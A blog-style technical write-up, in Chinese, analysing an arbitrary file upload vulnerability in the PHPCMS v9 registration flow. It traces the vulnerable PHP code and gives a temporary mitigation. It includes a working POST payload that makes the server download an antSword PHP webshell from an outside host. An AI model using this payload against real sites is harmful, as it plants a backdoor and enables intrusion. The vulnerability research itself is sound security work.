PHPCMS最新版任意文件上传漏洞分析
工具:火狐插件hackbar
前幾天就聽(tīng)朋友說(shuō)PHPCMS最新版出了幾個(gè)洞,有注入還有任意文件上傳,注入我倒不是很驚訝,因?yàn)閜hpcms只要拿到了authkey注入就一大堆……
任意文件上傳倒是很驚訝,但是小伙伴并沒(méi)有給我exp,今天看到了EXP,但是沒(méi)有詳細(xì)分析,那我就自己分析一下好啦。
首先去官網(wǎng)下一下最新版的程序,搭建起來(lái)。
為了方便各位小伙伴復(fù)現(xiàn),這里附上最新版的下載地址:
鏈接: https://pan.baidu.com/s/1geNQfyb 密碼: gxsd漏洞復(fù)現(xiàn)
漏洞復(fù)現(xiàn)的辦法是先打開(kāi)注冊(cè)頁(yè)面,然后向注冊(cè)頁(yè)面POST如下payload:
siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://files.hackersb.cn/webshell/antSword-shells/php_assert.php#.jpg>&dosubmit=1&protocol=然后就會(huì)報(bào)錯(cuò)并返回shell地址:
然后就可以連接啦。
漏洞分析
通過(guò)復(fù)現(xiàn)過(guò)程可以看到漏洞URL為:
http://phpcms.localhost/index.php?m=member&c=index&a=register&siteid=1可以確定是member模塊的問(wèn)題,以前我分析過(guò)phpcms的程序,所以就不從index.php看了,我們直接去打開(kāi)member模塊的控制器文件如下:
/Users/striker/www/phpcmsv9/phpcms/modules/member/index.php方法應(yīng)該是register,我們定位到這里的函數(shù):
首先是獲取了一個(gè)$siteid然后加載了一些配置,再判斷是否存在$_POST['dosubmit'],如果存在則進(jìn)入到注冊(cè)流程。
通過(guò)跟進(jìn)發(fā)現(xiàn)跟我們漏洞有關(guān)的代碼應(yīng)該是從129行開(kāi)始:
//附表信息驗(yàn)證 通過(guò)模型獲取會(huì)員信息 if($member_setting['choosemodel']) {require_once CACHE_MODEL_PATH.'member_input.class.php';require_once CACHE_MODEL_PATH.'member_update.class.php';$member_input = new member_input($userinfo['modelid']); $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);$user_model_info = $member_input->get($_POST['info']); }其中第134行從POST請(qǐng)求中傳入了我們EXP的關(guān)鍵參數(shù)$_POST['info']:
_POST['info'] = array_map('new_html_special_chars',$_POST['info']);但使用new_html_special_chars函數(shù)過(guò)濾了一遍,我們來(lái)跟進(jìn)下這個(gè)函數(shù)都干了些什么事情。
function new_html_special_chars($string) {$encoding = 'utf-8';if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';if(!is_array($string)) return htmlspecialchars($string,ENT_QUOTES,$encoding);foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);return $string; }好吧,只是用了htmlspecialchars函數(shù)來(lái)轉(zhuǎn)義HTML特殊字符,影響不是特別大,繼續(xù)往下跟,135行調(diào)用$member_input->get()方法進(jìn)行了處理:
$user_model_info = $member_input->get($_POST['info']);get方法不是很長(zhǎng),這里把代碼貼出來(lái):
function get($data) {$this->data = $data = trim_script($data);$model_cache = getcache('member_model', 'commons');$this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];$info = array();$debar_filed = array('catid','title','style','thumb','status','islink','description');if(is_array($data)) {foreach($data as $field=>$value) {if($data['islink']==1 && !in_array($field,$debar_filed)) continue;$field = safe_replace($field);$name = $this->fields[$field]['name'];$minlength = $this->fields[$field]['minlength'];$maxlength = $this->fields[$field]['maxlength'];$pattern = $this->fields[$field]['pattern'];$errortips = $this->fields[$field]['errortips'];if(empty($errortips)) $errortips = "$name 不符合要求!";$length = empty($value) ? 0 : strlen($value);if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 個(gè)字符!");if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');if($maxlength && $length > $maxlength && !$isimport) {showmessage("$name 不得超過(guò) $maxlength 個(gè)字符!");} else {str_cut($value, $maxlength);}if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重復(fù)!");$func = $this->fields[$field]['formtype'];if(method_exists($this, $func)) $value = $this->$func($field, $value);$info[$field] = $value;}}return $info; }先調(diào)用了trim_script方法處理了一下$data,跟進(jìn)查看:
function trim_script($str) {if(is_array($str)){foreach ($str as $key => $val){$str[$key] = trim_script($val);}}else{$str = preg_replace ( '/\<([\/]?)script([^\>]*?)\>/si', '<\\1script\\2>', $str );$str = preg_replace ( '/\<([\/]?)iframe([^\>]*?)\>/si', '<\\1iframe\\2>', $str );$str = preg_replace ( '/\<([\/]?)frame([^\>]*?)\>/si', '<\\1frame\\2>', $str );$str = str_replace ( 'javascript:', 'javascript:', $str );}return $str; }好吧,只是進(jìn)行了部分正則替換,看樣子跟我們本次要談的漏洞關(guān)系不是特別大,繼續(xù)往下看。
get函數(shù)中有個(gè)關(guān)鍵的地方是if(is_array($data))我們payload中的infoj就是個(gè)數(shù)組,所以能走進(jìn)這個(gè)if條件中,繼續(xù)跟。
先是用foreach進(jìn)行遍歷$info,鍵名為$field,鍵值為$value,首先用safe_replace進(jìn)行了一次安全替換:
field = safe_replace($field);跟safe_replace函數(shù)看看:
/*** 安全過(guò)濾函數(shù)** @param $string* @return string*/ function safe_replace($string) {$string = str_replace('%20','',$string);$string = str_replace('%27','',$string);$string = str_replace('%2527','',$string);$string = str_replace('*','',$string);$string = str_replace('"','"',$string);$string = str_replace("'",'',$string);$string = str_replace('"','',$string);$string = str_replace(';','',$string);$string = str_replace('<','<',$string);$string = str_replace('>','>',$string);$string = str_replace("{",'',$string);$string = str_replace('}','',$string);$string = str_replace('\\','',$string);return $string; }將部分字符替換為空了,我們繼續(xù)往下跟,發(fā)現(xiàn)geth方法中這兩行很關(guān)鍵,很有可能跟漏洞相關(guān):
$func = $this->fields[$field]['formtype']; if(method_exists($this, $func)) $value = $this->$func($field, $value);先是獲取了一個(gè)$func,然后判斷方法如果存在就帶入這個(gè)函數(shù),我這里用的debug模式,可以直接看到最終的$func是editor。
然而實(shí)際上這個(gè)editor是存在數(shù)據(jù)庫(kù)中v9_model_field表中的。
我們繼續(xù)跟進(jìn)editor方法:
function editor($field, $value) {$setting = string2array($this->fields[$field]['setting']);$enablesaveimage = $setting['enablesaveimage'];$site_setting = string2array($this->site_config['setting']);$watermark_enable = intval($site_setting['watermark_enable']);$value = $this->attachment->download('content', $value,$watermark_enable);return $value; }然后這篇文章的高潮部分來(lái)了!!!!
看這里:
$value = $this->attachment->download('content', $value,$watermark_enable);把$value,也就是我們的info[content]帶入到了$this->attachment->download函數(shù)!繼續(xù)跟!!
整段函數(shù)如下:
/*** 附件下載* Enter description here ...* @param $field 預(yù)留字段* @param $value 傳入下載內(nèi)容* @param $watermark 是否加入水印* @param $ext 下載擴(kuò)展名* @param $absurl 絕對(duì)路徑* @param $basehref */ function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '') {global $image_d;$this->att_db = pc_base::load_model('attachment_model');$upload_url = pc_base::load_config('system','upload_url');$this->field = $field;$dir = date('Y/md/');$uploadpath = $upload_url.$dir;$uploaddir = $this->upload_root.$dir;$string = new_stripslashes($value);if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;$remotefileurls = array();foreach($matches[3] as $matche){if(strpos($matche, '://') === false) continue;dir_create($uploaddir);$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);}unset($matches, $string);$remotefileurls = array_unique($remotefileurls);$oldpath = $newpath = array();foreach($remotefileurls as $k=>$file) {if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;$filename = fileext($file);$file_name = basename($file);$filename = $this->getname($filename);$newfile = $uploaddir.$filename;$upload_func = $this->upload_func;if($upload_func($file, $newfile)) {$oldpath[] = $k;$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;@chmod($newfile, 0777);$fileext = fileext($filename);if($watermark){watermark($newfile, $newfile,$this->siteid);}$filepath = $dir.$filename;$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);$aid = $this->add($downloadedfile);$this->downloadedfiles[$aid] = $filepath;}}return str_replace($oldpath, $newpath, $value); }先是設(shè)置了一些參數(shù),然后把我們的payload帶入了一個(gè)new_stripslashes函數(shù):
/*** 返回經(jīng)stripslashes處理過(guò)的字符串或數(shù)組* @param $string 需要處理的字符串或數(shù)組* @return mixed*/ function new_stripslashes($string) {if(!is_array($string)) return stripslashes($string);foreach($string as $key => $val) $string[$key] = new_stripslashes($val);return $string; }進(jìn)行了一個(gè)stripslashes操作。
這行也是關(guān)鍵的一步:
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;這里匹配了src或href中文件的文件名,不過(guò)后綴為$ext,其中$ext的值為:gif|jpg|jpeg|bmp|png
不過(guò)匹配的并不嚴(yán)格,還是有辦法可以繞過(guò)的,如圖:
這一步被繞過(guò),下面應(yīng)該就是下載文件了吧。。。
隨后在這一行帶入了函數(shù)fillurl:
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);在fillurl中還很貼心的給我們?nèi)サ袅?后的內(nèi)容:
$pos = strpos($surl,'#');if($pos>0) $surl = substr($surl,0,$pos);這個(gè)時(shí)候$remotefileurls的值已然是http://files.hackersb.cn/webshell/antSword-shells/php_assert.php
隨后便進(jìn)行了萬(wàn)惡的下載:
$newfile = $uploaddir.$filename; $upload_func = $this->upload_func; if($upload_func($file, $newfile)) {$oldpath[] = $k;$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;@chmod($newfile, 0777);$fileext = fileext($filename);if($watermark){watermark($newfile, $newfile,$this->siteid);}$filepath = $dir.$filename;$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);$aid = $this->add($downloadedfile);$this->downloadedfiles[$aid] = $filepath; }其中$upload_func等同于php的copy函數(shù)。
然而:
而fopen一般都是可用的,如果開(kāi)啟了allow_url_fopen,這個(gè)漏洞就構(gòu)成了,然而大部分環(huán)境都默認(rèn)開(kāi)啟了allow_url_fopen。
最終在插入注冊(cè)信息時(shí)因?yàn)榛烊肓宋粗膮?shù)而導(dǎo)致插入失敗,報(bào)錯(cuò)就顯示出了這個(gè)未知的參數(shù) 23333
至此,該漏洞分析完成。
漏洞修復(fù)
官方目前仍未發(fā)布修復(fù)補(bǔ)丁。
臨時(shí)修復(fù)方案可以考慮禁用uploadfile目錄下的PHP執(zhí)行權(quán)限
總結(jié)
以上是生活随笔為你收集整理的PHPCMS最新版任意文件上传漏洞分析的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 支付宝是货币基金吗 一款余额理财产品
- 下一篇: yii2 gradview 输出当前时间